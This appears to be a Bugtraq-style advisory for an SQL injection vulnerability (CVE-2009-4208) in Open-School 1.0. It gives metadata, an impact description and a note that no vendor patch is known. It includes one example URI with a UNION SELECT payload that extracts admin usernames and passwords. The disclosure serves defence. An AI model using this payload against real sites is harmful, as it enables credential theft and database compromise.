The Open School Project Open-School SQL Injection Vulnerability

Bugtraq ID:	44498
Class:	Input Validation Error
CVE:	CVE-2009-4208
Remote:	Yes
Local:	No
Published:	Jun 01 2009 12:00AM
Updated:	Jun 01 2009 12:00AM
Credit:	OzX
Vulnerable:
Not Vulnerable:

The Open School Project Open-School SQL Injection Vulnerability

Open-School is prone to an SQL-injection vulnerability.

An attacker can exploit the SQL-injection issue to carry out unauthorized actions on the underlying database which may compromise the application and may aid in further attacks.

Open-School 1.0 is vulnerable; other versions may also be affected.

The Open School Project Open-School SQL Injection Vulnerability

Attackers can exploit the issues via a browser.

The following example URI is available:

http://www.example.com/index.php?module=os_news&view=show&id=3+and+1=0+union+select+all+1,group_concat(username,0x3A,password),3,4,5,6,7,8,9,10+from+admins

The Open School Project Open-School SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

The Open School Project Open-School SQL Injection Vulnerability

References:

• Open-School - Homepage (The Open School Project)